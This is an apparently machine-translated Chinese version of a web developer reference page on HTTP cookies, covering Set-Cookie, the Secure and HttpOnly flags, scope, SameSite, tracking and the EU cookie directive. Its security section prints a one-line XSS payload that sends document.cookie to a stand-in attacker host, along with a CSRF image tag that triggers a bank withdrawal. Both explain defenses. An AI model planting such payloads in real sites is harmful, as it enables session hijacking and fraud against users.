目录 搜索
Guides Access control CORS Authentication Browser detection using the user agent Caching Caching FAQ Compression Conditional requests Connection management in HTTP 1.x Content negotiation Content negotiation: List of default Accept values Cookies CSP Messages Overview Protocol upgrade mechanism Proxy servers and tunneling Proxy servers and tunneling: Proxy Auto-Configuration (PAC) file Public Key Pinning Range requests Redirections Resources and specifications Resources and URIs Response codes Server-Side Access Control Session Guides: Basics Basics of HTTP Choosing between www and non-www URLs Data URIs Evolution of HTTP Identifying resources on the Web MIME Types MIME types: Complete list of MIME types CSP Content-Security-Policy Content-Security-Policy-Report-Only CSP: base-uri CSP: block-all-mixed-content CSP: child-src CSP: connect-src CSP: default-src CSP: font-src CSP: form-action CSP: frame-ancestors CSP: frame-src CSP: img-src CSP: manifest-src CSP: media-src CSP: object-src CSP: plugin-types CSP: referrer CSP: report-uri CSP: require-sri-for CSP: sandbox CSP: script-src CSP: style-src CSP: upgrade-insecure-requests CSP: worker-src Headers Accept Accept-Charset Accept-Encoding Accept-Language Accept-Ranges Access-Control-Allow-Credentials Access-Control-Allow-Headers Access-Control-Allow-Methods Access-Control-Allow-Origin Access-Control-Expose-Headers Access-Control-Max-Age Access-Control-Request-Headers Access-Control-Request-Method Age Allow Authorization Cache-Control Connection Content-Disposition Content-Encoding Content-Language Content-Length Content-Location Content-Range Content-Type Cookie Cookie2 Date DNT ETag Expect Expires Forwarded From Headers Host If-Match If-Modified-Since If-None-Match If-Range If-Unmodified-Since Keep-Alive Large-Allocation Last-Modified Location Origin Pragma Proxy-Authenticate Proxy-Authorization Public-Key-Pins Public-Key-Pins-Report-Only Range Referer Referrer-Policy Retry-After Server Set-Cookie Set-Cookie2 SourceMap Strict-Transport-Security TE Tk Trailer Transfer-Encoding Upgrade-Insecure-Requests User-Agent User-Agent: Firefox Vary Via Warning WWW-Authenticate X-Content-Type-Options X-DNS-Prefetch-Control X-Forwarded-For X-Forwarded-Host X-Forwarded-Proto X-Frame-Options X-XSS-Protection Methods CONNECT DELETE GET HEAD Methods OPTIONS PATCH POST PUT Status 100 Continue 101 Switching Protocols 200 OK 201 Created 202 Accepted 203 Non-Authoritative Information 204 No Content 205 Reset Content 206 Partial Content 300 Multiple Choices 301 Moved Permanently 302 Found 303 See Other 304 Not Modified 307 Temporary Redirect 308 Permanent Redirect 400 Bad Request 401 Unauthorized 403 Forbidden 404 Not Found 405 Method Not Allowed 406 Not Acceptable 407 Proxy Authentication Required 408 Request Timeout 409 Conflict 410 Gone 411 Length Required 412 Precondition Failed 413 Payload Too Large 414 URI Too Long 415 Unsupported Media Type 416 Range Not Satisfiable 417 Expectation Failed 426 Upgrade Required 428 Precondition Required 429 Too Many Requests 431 Request Header Fields Too Large 451 Unavailable For Legal Reasons 500 Internal Server Error 501 Not Implemented 502 Bad Gateway 503 Service Unavailable 504 Gateway Timeout 505 HTTP Version Not Supported 511 Network Authentication Required Status
文字

HTTP cookie(网络cookie,浏览器cookie)是服务器发送给用户网络浏览器的一小部分数据。浏览器可以存储它,并将下一个请求发回给同一台服务器。通常,它用于判断两个请求是否来自同一浏览器 - 例如,保持用户登录。它记住无状态HTTP协议的有状态信息。

Cookies主要用于三个目的:

会话管理登录,购物车,游戏成绩或服务器应记住的任何其他内容个性化用户偏好,主题和其他设置跟踪记录和分析用户行为

Cookies曾经用于一般的客户端存储。虽然这是合法的,但它们是将数据存储在客户端的唯一方式,现在推荐使用现代存储API。Cookies随每个请求一起发送,因此可能会恶化性能(特别是对于移动数据连接)。用于客户端存储的现代API是Web存储API(localStoragesessionStorage)和IndexedDB。

要查看存储的Cookie(以及网页可以使用的其他存储),可以在Developer Tools中启用Storage Inspector,然后从存储树中选择Cookies。

创建cookie

当收到一个HTTP请求时,服务器可以发送一个Set-Cookie包含响应的头部。Cookie通常由浏览器存储,然后将Cookie发送到CookieHTTP标头内的同一服务器。可以指定过期日期或持续时间,之后不再发送cookie。此外,可以设置对特定域和路径的限制,限制cookie的发送位置。

Set-CookieCookie

所述Set-CookieHTTP响应报头从服务器向用户代理发送的cookie。一个简单的cookie就像这样设置:

Set-Cookie: <cookie-name>=<cookie-value>

服务器的这个头文件告诉客户端存储一个cookie。

注意:以下是Set-Cookie在各种服务器端应用程序中使用标题的方法:

  • PHP

  • Node.JS

  • Python

  • Ruby on Rails

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry[page content]

现在,随着对服务器的每个新请求,浏览器都会使用Cookie标题将所有先前存储的cookie发送回服务器。

GET /sample_page.html HTTP/1.1Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

会话Cookie

上面创建的cookie是一个会话cookie:它在客户端关闭时被删除,因为它没有指定Expiresor Max-Age指令。但是,Web浏览器可能会使用会话恢复,这会使大多数会话Cookie永久化,就好像浏览器从未关闭一样。

永久性Cookie

当客户关闭时,永久性Cookie不会在特定日期(Expires)或特定时间长度后终止(Max-Age)。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

注意:如果设置了到期日期,则设置的时间和日期与cookie的设置客户端相关,而不是服务器。

SecureHttpOnly饼干

安全Cookie只能通过HTTPS协议通过加密请求发送到服务器。即使在这种情况下Secure,敏感信息也不应该存储在cookie中,因为它们固有地不安全,并且此标志不能提供真正的保护。从Chrome 52和Firefox 52开始,不安全的站点(http:)无法使用该Secure指令设置Cookie 。

为了防止跨站点脚本攻击(XSS)攻击,HttpOnlyJavaScript的Document.cookieAPI 无法访问Cookie ; 他们只被发送到服务器。例如,持久化服务器端会话的cookie不需要对JavaScript可用,并且HttpOnly应该设置标志。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的范围

DomainPath指令定义的范围的cookie:什么网址应发送到cookie。

Domain指定允许的主机接收cookie。如果没有指定,则默认为主机当前文档的位置,但不包括子域。如果Domain 指定,那么子域总是被包括在内。

例如,如果Domain=mozilla.org设置了,则cookie就包含在子域名developer.mozilla.org中。

Path表示必须存在于所请求的URL中以便发送Cookie标头的URL路径。%x2F(“/”)字符被认为是一个目录分隔符,并且子目录也会匹配。

例如,如果设置Path=/docs,这些路径将匹配:

  • /docs

  • /docs/Web/

  • /docs/Web/HTTP

SameSite cookies

SameSiteCookie允许服务器要求Cookie不应该与跨站点请求一起发送,这有助于防止跨站请求伪造攻击(CSRF)。SameSiteCookie仍然是实验性的,并且尚未被所有浏览器支持。

使用JavaScript访问 Document.cookie

新的cookies也可以通过使用该Document.cookie属性的JavaScript创建,如果该HttpOnly标志没有设置,现有的cookie也可以通过JavaScript访问。

document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"

请注意下面安全部分中的安全问题。JavaScript可用的cookie可以通过XSS被盗取。

安全

机密或敏感信息绝不应以HTTP Cookie存储或传输,因为整个机制固有不安全。

会话劫持和XSS

Cookie通常用于Web应用程序中以识别用户及其已验证的会话,因此窃取cookie可能会导致劫持经过验证的用户会话。窃取cookie的常见方式包括社交工程或利用应用程序中的XSS漏洞。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnlycookie的属性可以帮助缓解防止通过JavaScript访问cookie值这种攻击。

跨站请求伪造(CSRF)

Wikipedia提到CSRF的一个很好的例子。在这种情况下,某人包含的图像不是真正的图像(例如在未经过滤的聊天或论坛中),而是确实要求您的银行服务器进行提款:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

现在,如果您登录了您的银行帐户并且您的Cookie仍然有效(并且没有其他验证),那么只要您加载包含此图片的HTML,就会立即转账。有几种技术可以用来防止这种情况的发生:

  • 与XSS一样,输入过滤非常重要。

  • 任何敏感行为都应该始终有确认。

  • 用于敏感操作的Cookie只应具有较短的使用期限。

  • 有关更多预防提示,请参阅OWASP CSRF预防备忘单(https://www.owasp.org/index.php/Cross-Site Request_Forgery(CSRF%29_Prevention_Cheat_Sheet))。

跟踪和隐私

第三方Cookie

Cookie有一个与他们相关的域名。如果此网域与您所在网页的网域相同,则说这些Cookie为第一方Cookie。如果域名不同,则说它是第三方cookie。尽管第一方cookie仅发送给设置它们的服务器,但网页可能包含存储在其他域(如广告条)中的服务器上的图像或其他组件。通过这些第三方组件发送的Cookie称为第三方Cookie,主要用于在整个网络上进行广告和跟踪。请参阅Google使用的Cookie类型。大多数浏览器默认允许使用第三方cookie,但有附加组件可用于阻止它们(例如,Privacy Badger byEFF)。

如果您不透露第三方cookies,如果发现cookie使用,消费者信任可能会受到伤害。明确的披露(例如在隐私政策中)倾向于消除cookie发现的任何负面影响。有些国家也有关于cookies的立法。

不跟踪

它的使用没有任何法律或技术要求,但DNT标题可用于表示Web应用程序应禁用其跟踪或跨站点用户跟踪个人用户。请参阅DNT标题以获取更多信息。

欧盟的cookie指令

欧盟对cookies的要求在欧盟议会指令2009/136 / EC中定义,并于2011年5月25日生效。指令本身不是法律,而是要求欧盟成员国制定法律符合指令的要求。实际的法律可能因国家而异。

简而言之,欧盟指令意味着在有人可以存储或检索来自计算机,移动电话或其他设备的任何信息之前,用户必须给予知情同意才能这样做。许多网站自此添加了横幅,以通知用户有关Cookie的使用。

Zombie cookies 和 Evercookies

更为激进的方法是 zombie cookies 或“Evercookies”,它们在删除后重新创建,故意难以永久删除。他们使用Web存储API,Flash本地共享对象和其他技术在检测到cookie不存在时重新创建自己。

扩展内容

  • Set-Cookie

  • Cookie

上一篇: 下一篇: